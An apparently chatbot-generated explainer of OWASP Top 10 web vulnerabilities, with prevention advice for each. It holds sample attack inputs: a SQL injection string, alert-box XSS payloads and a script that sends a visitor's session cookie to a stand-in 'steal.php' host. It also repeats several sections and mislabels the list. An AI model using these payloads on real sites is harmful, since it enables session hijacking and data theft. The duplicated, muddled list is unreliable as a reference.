OWASP TOP 10 IN DETAIL

10 cybersecurity threats as defined by OWASP:

Injection: Injection attacks occur when an attacker is able to input malicious code
into an application, tricking the application into executing that code. Injection
attacks are often performed through web forms or database queries, and they can
lead to a variety of consequences, including data loss, data corruption, and
unauthorized access.

Broken Authentication and Session Management: This refers to vulnerabilities that

allow attackers to bypass authentication mechanisms, such as password policies and
session management controls. These vulnerabilities can allow attackers to gain
access to sensitive data, or to hijack user accounts.

Cross-Site Scripting (XSS): XSS vulnerabilities allow attackers to inject malicious

code into a web page, which is then executed by the victim's browser. This can lead
to a wide range of consequences, including data theft, session hijacking, and
website defacement.

Broken Access Control: This refers to vulnerabilities that allow attackers to

bypass access controls and gain access to sensitive data or functionality that they
should not have access to. Examples of broken access control include
unauthenticated access to administrative functions or directory traversal attacks.

Security Misconfiguration: This refers to vulnerabilities that arise from incorrect

configuration of security settings, such as default passwords, open ports, or
missing security patches. These vulnerabilities can make it easier for attackers to
gain unauthorized access to systems or data.

Insecure Cryptographic Storage: This refers to vulnerabilities that arise when

sensitive data is not properly encrypted, or when encryption keys are not properly
secured. This can lead to data theft or data leakage.

Insufficient Logging and Monitoring: This refers to vulnerabilities that arise when
systems do not have sufficient logging and monitoring capabilities to detect and
respond to security incidents. Without proper logging and monitoring, attacks can
go unnoticed and allow attackers to maintain access to systems for extended periods
of time.

Insecure Communications: This refers to vulnerabilities that arise when data is

transmitted over unsecured channels, such as HTTP instead of HTTPS. This can lead
to data theft, session hijacking, or other attacks.

Broken Business Logic: This refers to vulnerabilities that arise from errors in the
design or implementation of business logic in an application. These vulnerabilities
can allow attackers to bypass application functionality or manipulate data in
unintended ways.

Malicious File Execution: This refers to vulnerabilities that allow attackers to

execute malicious code on a system. This can occur through vulnerabilities in file
upload functionality, or through malicious email attachments or other means.

1...Injection attacks are a type of security vulnerability where an attacker is

able to input malicious code into an application, tricking the application into
executing that code. The attacker can use various techniques to input the malicious
code, such as through web forms, database queries, or other input mechanisms.
Here is an example of how an injection attack could be carried out:

Suppose a web application allows users to search for products by entering a keyword
in a search box. The application takes the user input and constructs a SQL query to
search the database for matching products. The SQL query might look something like
this:

sql
SELECT * FROM products WHERE name LIKE '%keyword%'

The '%' characters are used as wildcards to match any characters before or after
the keyword. The application then executes the query and displays the results to
the user.

Now suppose an attacker wants to exploit this search feature to steal sensitive
data from the database. The attacker could input a malicious keyword like this:' OR
1=1; --

This keyword contains a SQL injection attack. The attacker has added a single quote
character to terminate the name parameter in the SQL query. The attacker then adds
the OR operator, followed by the condition 1=1, which is always true. This
effectively bypasses the search condition and returns all the rows in the products
table. Finally, the attacker adds the double dash characters (--), which comment
out the rest of the query.

The resulting SQL query looks like this:SELECT * FROM products WHERE name LIKE ''
OR 1=1; --%'
When the application executes this query, it returns all the rows in the products
table, effectively exposing all the sensitive data to the attacker.

This is just one example of an injection attack, but it demonstrates how an

attacker can use input mechanisms to inject malicious code into an application,
potentially causing serious harm. It is important for web developers to understand
and prevent injection attacks in their applications to protect against such
vulnerabilities.

2..Broken Authentication and Session Management is a security vulnerability that

arises when authentication and session management controls are implemented
incorrectly, allowing attackers to bypass them and gain unauthorized access to
sensitive data or functionality.

Authentication is the process of verifying the identity of a user who is attempting

to access a web application or system, while session management refers to the
mechanisms that control user sessions and their associated privileges. These
mechanisms can include authentication tokens, session IDs, cookies, and other
security controls.

Here are some examples of how broken authentication and session management can be
exploited by attackers:

Weak Passwords: If a web application does not have a robust password policy, users
may choose weak passwords that are easy to guess or crack. Attackers can use
automated tools to try a large number of potential passwords until they find the
right one, giving them access to sensitive data or functionality.
Session Hijacking: If a web application uses predictable or weak session IDs,
attackers can use various techniques to steal a legitimate user's session and gain
unauthorized access. This can include intercepting session IDs in transit, stealing
them from browser cookies, or using brute-force techniques to guess them.

Cross-Site Request Forgery (CSRF): This is an attack where an attacker tricks a

user into performing an action on a web application without their knowledge or
consent. The attacker can do this by exploiting the user's active session or by
injecting malicious code into the application.

Password Reset Attacks: If a web application has weak or insecure password reset
functionality, attackers can use this to gain unauthorized access to user accounts.
This can include guessing security questions or using social engineering techniques
to trick users into revealing their passwords or other sensitive information.

To prevent broken authentication and session management vulnerabilities, web

developers should implement strong authentication mechanisms, including multi-
factor authentication and robust password policies. They should also use secure
session management techniques, such as random session IDs and cookies with secure
attributes. Additionally, web applications should be designed to protect against
common attack techniques, such as CSRF and password reset attacks. It is important
for web developers to regularly test their applications for these vulnerabilities
and to implement appropriate security controls to prevent them.

3...Cross-Site Scripting (XSS) is a type of security vulnerability that allows

attackers to inject malicious code into a web application, which is then executed
by unsuspecting users who visit the affected pages.

XSS attacks can occur when a web application does not properly validate user input,
allowing attackers to inject code such as JavaScript into web pages. The malicious
code can then be executed in the victim's web browser, potentially allowing the
attacker to steal sensitive information, hijack user sessions, or perform other
nefarious actions.

Here is an example of how an XSS attack could be carried out:

Suppose a web application allows users to post comments on a page. The application
takes the user input and displays it on the page without proper validation. An
attacker could post a comment like this:

php
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<script>
window.location = "https://example.com/steal.php?cookie=" + document.cookie;
</script>
This code injects a JavaScript script into the page, which will redirect the
victim's browser to a malicious website and include their session cookie in the
URL. When the victim visits the page and their browser executes the script, their
session cookie will be sent to the attacker's website, allowing the attacker to
hijack their session and gain unauthorized access to the application.
To prevent XSS vulnerabilities, web developers should implement proper input
validation and sanitization techniques, such as encoding or filtering user input to
prevent malicious code from being injected into web pages. Additionally, web
applications should use security headers, such as the Content Security Policy
(CSP), to limit the types of code that can be executed on a page, and to prevent
the execution of malicious code. Web developers should also regularly test their
applications for XSS vulnerabilities and implement appropriate security controls to
prevent them.

4...Insecure Direct Object References (IDOR) is a security vulnerability that

arises when a web application uses user-supplied input to access sensitive data or
functionality without proper authorization.

In an IDOR attack, an attacker can access or manipulate sensitive data or resources

that they should not have access to, by changing the value of a parameter that
references a specific object in the application's back-end database or file system.

Here is an example of how an IDOR attack could be carried out:

Suppose a web application uses the following URL to display a user's account
information:

bash
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https://example.com/account?id=12345
In this case, the "id" parameter is used to identify the user account that should
be displayed. However, if the application does not properly enforce access controls
or perform proper input validation, an attacker could change the "id" parameter
value to access other users' accounts that they are not authorized to see:

bash
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https://example.com/account?id=67890
By changing the "id" parameter to another user's account ID, the attacker can
access that user's sensitive information, such as their email address, phone
number, or financial information.

To prevent IDOR vulnerabilities, web developers should implement proper access

controls and authorization checks to ensure that users can only access resources
that they are authorized to see. This can include using session-based or role-based
access controls, and properly validating user input to prevent attackers from
manipulating object references in the application's back-end. Additionally, web
developers should regularly test their applications for IDOR vulnerabilities and
implement appropriate security controls to prevent them.

5...Security Misconfiguration is a common cybersecurity vulnerability that occurs

when a web application or system is not configured properly, leaving it open to
attacks or data breaches.

Security misconfiguration can occur in several areas, including web servers,

application servers, databases, and other software components. This can include
leaving default configurations in place, using weak passwords or encryption,
exposing sensitive data or functionality, and not properly maintaining or updating
software and systems.

Here are some examples of how security misconfiguration can be exploited by

attackers:

Default Passwords: If a web application or system uses default passwords or easily

guessable passwords, attackers can gain unauthorized access to sensitive data or
functionality. This can include using automated tools to try a large number of
potential passwords until they find the right one.

Unpatched Software: If a web application or system is not properly maintained or

updated, it may contain known vulnerabilities that can be exploited by attackers.
This can include using automated tools to scan for vulnerable software versions and
then exploiting them to gain unauthorized access or to carry out other malicious
activities.

Open Ports and Services: If a web application or system has open ports or services
that are not necessary for its operation, attackers can use these to gain
unauthorized access or to carry out other malicious activities. This can include
using port scanning tools to identify open ports and services, and then exploiting
them to gain access or to launch attacks.

Misconfigured Access Controls: If a web application or system has misconfigured

access controls, attackers can gain unauthorized access to sensitive data or
functionality. This can include using privilege escalation techniques to gain
higher levels of access, or using other methods to bypass access controls.

To prevent security misconfiguration vulnerabilities, web developers and system

administrators should ensure that all software and systems are properly configured,
maintained, and updated with the latest security patches and updates. This can
include removing unnecessary ports and services, using strong passwords and
encryption, and properly configuring access controls and other security mechanisms.
Additionally, web developers and system administrators should regularly test their
applications and systems for misconfigurations and implement appropriate security
controls to prevent them.

6....Cross-Site Scripting (XSS) is a type of security vulnerability that occurs

when an attacker is able to inject malicious code into a web page that is displayed
to other users.

XSS attacks can be used to steal sensitive information, such as login credentials
or personal data, and can also be used to carry out other types of attacks, such as
phishing or malware delivery.

There are two main types of XSS attacks:

Reflected XSS: In this type of attack, the malicious code is injected into a web
page and is then reflected back to the user, often in response to a user's input.
This can occur when a web application does not properly sanitize user input or
encode special characters in user input that could be used to inject malicious
code.
Here's an example of a reflected XSS attack:

Suppose a web application displays a search form that allows users to search for
products by name. The search term is included in the URL like this:

php
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https://example.com/search?term=<script>alert('XSS!');</script>
If the web application does not properly sanitize or encode the search term, the
malicious script will be executed when the search results are displayed, causing an
alert box to pop up on the user's screen.

Stored XSS: In this type of attack, the malicious code is injected into a web page
and is then stored on the server, where it can be displayed to other users who view
the page. This can occur when a web application allows users to submit content that
is not properly sanitized or validated.
Here's an example of a stored XSS attack:

Suppose a web application allows users to post comments on a blog post. The
comments are displayed to other users who view the blog post. An attacker could
post a comment that includes a malicious script, like this:

php
Copy code
<script>alert('XSS!');</script>
If the web application does not properly sanitize or validate the comment, the
script will be stored on the server and will be displayed to other users who view
the blog post, potentially causing an alert box to pop up on their screens.

To prevent XSS vulnerabilities, web developers should properly sanitize and

validate all user input, and should use encoding techniques to prevent special
characters from being used to inject malicious code. Additionally, web developers
should implement Content Security Policy (CSP) headers to restrict the types of
content that can be displayed on a web page, and should use tools like web
application firewalls (WAFs) to detect and block malicious requests

7.....Insecure Cryptographic Storage is a type of security vulnerability that

occurs when sensitive data is not properly encrypted or hashed, leaving it open to
attacks.

Cryptographic storage is used to protect sensitive data, such as passwords, credit

card numbers, and other personal information, by encrypting or hashing the data so
that it cannot be read or used by attackers.

However, if the cryptographic storage is insecure, attackers can use a variety of

techniques to bypass the encryption or hash and gain access to the sensitive data.

Here are some examples of how insecure cryptographic storage can be exploited by
attackers:

Plain Text Storage: If sensitive data is stored in plain text, attackers can easily
read and use the data for malicious purposes. This can occur when web developers or
system administrators fail to properly encrypt or hash sensitive data, or when they
store the encryption keys or hash algorithms in plain text as well.

Weak Hash Algorithms: If sensitive data is hashed using weak algorithms, attackers
can use brute force or other techniques to crack the hash and recover the original
data. This can occur when web developers or system administrators use outdated or
insecure hash algorithms, or when they use weak password policies that make it easy
for attackers to guess the original data.

Unprotected Encryption Keys: If sensitive data is encrypted but the encryption keys
are not properly protected, attackers can use a variety of techniques to steal the
keys and decrypt the data. This can occur when web developers or system
administrators store the encryption keys in plain text or use weak encryption key
management practices.

To prevent insecure cryptographic storage vulnerabilities, web developers and

system administrators should use strong encryption and hash algorithms, and should
properly protect the encryption keys and hash algorithms. This can include using
industry-standard encryption and hash algorithms, using strong password policies,
and using secure key management practices, such as key rotation and storage in
hardware security modules (HSMs). Additionally, web developers and system
administrators should regularly test their applications and systems for insecure
cryptographic storage vulnerabilities and implement appropriate security controls
to prevent them.

8....Security Misconfiguration is a type of security vulnerability that occurs when

an application or system is configured in a way that makes it vulnerable to
attacks. This can happen when security settings are not properly configured, or
when default or weak security settings are used.

Security misconfigurations can allow attackers to gain unauthorized access to

sensitive data or take control of a system, and can also lead to other types of
attacks, such as denial-of-service attacks and injection attacks.

Here are some examples of how security misconfigurations can be exploited by

attackers:

Default Passwords: If default passwords are not changed or are weak, attackers can
easily gain unauthorized access to a system or application. This can occur when
administrators fail to change the default passwords for system accounts, network
devices, and other applications.

Missing Patches and Updates: If security patches and updates are not applied in a
timely manner, attackers can exploit known vulnerabilities to gain access to a
system or application. This can occur when administrators fail to keep up with the
latest security patches and updates for the operating system, web server, or other
software.

Exposed Services and Ports: If unnecessary services and ports are left open and
exposed to the internet, attackers can use them to gain unauthorized access to a
system or application. This can occur when administrators fail to properly
configure firewalls and other network security controls to block access to
unnecessary services and ports.

Misconfigured Authentication: If authentication is not properly configured,

attackers can use a variety of techniques to bypass authentication and gain access
to a system or application. This can occur when administrators fail to use strong
authentication mechanisms, such as multi-factor authentication, or fail to properly
configure user roles and permissions.

To prevent security misconfigurations, administrators should follow security best

practices and guidelines for the operating system, web server, and other software
they are using. This can include changing default passwords, applying security
patches and updates in a timely manner, properly configuring firewalls and network
security controls, and using strong authentication mechanisms. Additionally,
administrators should regularly audit their systems and applications for security
misconfigurations and implement appropriate security controls to prevent them

9.....Insufficient Logging and Monitoring is a type of security vulnerability that

occurs when an application or system does not generate or retain sufficient logs to
detect and respond to security incidents.

Logs are records of system and application activity that can be used to identify
suspicious or malicious behavior, diagnose system issues, and investigate security
incidents. Monitoring is the process of reviewing logs and other security data to
identify security incidents and respond to them.

Insufficient logging and monitoring can make it difficult for organizations to

detect security incidents in a timely manner, investigate incidents, and prevent
future incidents from occurring. Attackers can exploit this vulnerability by
carrying out attacks without being detected or by covering their tracks to avoid
detection.

Here are some examples of how insufficient logging and monitoring can be exploited
by attackers:

Credential Theft: Attackers can steal user credentials, such as passwords, and use
them to access systems and applications without being detected. Without sufficient
logging and monitoring, organizations may not be able to detect the theft of
credentials or the subsequent unauthorized access.

Malware Infections: Attackers can infect systems with malware, such as viruses and
trojans, that can steal sensitive data or give the attacker remote access to the
system. Without sufficient logging and monitoring, organizations may not be able to
detect the infection or the subsequent data exfiltration or unauthorized access.

Web Application Attacks: Attackers can exploit vulnerabilities in web applications,

such as SQL injection and cross-site scripting (XSS), to steal sensitive data or
gain unauthorized access to systems. Without sufficient logging and monitoring,
organizations may not be able to detect the attack or the subsequent data
exfiltration or unauthorized access.

To prevent insufficient logging and monitoring vulnerabilities, organizations

should implement comprehensive logging and monitoring solutions that capture all
relevant security data and provide real-time alerts and notifications for
suspicious activity. This can include implementing security information and event
management (SIEM) solutions, deploying intrusion detection and prevention systems
(IDS/IPS), and configuring web application firewalls (WAF) to monitor web
application traffic. Additionally, organizations should regularly review and
analyze their logs and security data to identify security incidents and respond to
them in a timely manner.
10..........Insecure Cryptographic Storage is a type of security vulnerability that
occurs when sensitive data, such as passwords or credit card numbers, is not
properly protected using strong cryptographic algorithms and key management
practices. This can allow attackers to easily steal and use the sensitive data.

Cryptographic storage is a method of encrypting sensitive data before storing it in

a database or file. This helps to protect the data from unauthorized access and
use, but it is only effective if strong cryptographic algorithms and key management
practices are used.

Insecure cryptographic storage can be exploited by attackers to steal sensitive

data and use it for malicious purposes, such as identity theft, fraud, and
extortion.

Here are some examples of how insecure cryptographic storage can be exploited by
attackers:

Password Storage: If passwords are stored in an insecure manner, such as in

plaintext or with weak encryption, attackers can easily steal them and use them to
gain unauthorized access to systems and applications. This can occur when passwords
are stored in a database or file without proper encryption.

Credit Card Storage: If credit card numbers are stored in an insecure manner, such
as with weak encryption or without proper access controls, attackers can steal them
and use them for fraudulent purchases. This can occur when credit card numbers are
stored in a database or file without proper encryption or access controls.

Secret Key Storage: If secret keys are stored in an insecure manner, such as in
plaintext or with weak encryption, attackers can easily steal them and use them to
decrypt sensitive data. This can occur when secret keys are stored in a database or
file without proper encryption or access controls.

To prevent insecure cryptographic storage vulnerabilities, organizations should

implement strong cryptographic algorithms and key management practices for
sensitive data. This can include using strong encryption algorithms, such as
Advanced Encryption Standard (AES), and using industry-standard key management
practices, such as key rotation and key splitting. Additionally, organizations
should limit access to sensitive data and implement access controls to prevent
unauthorized access.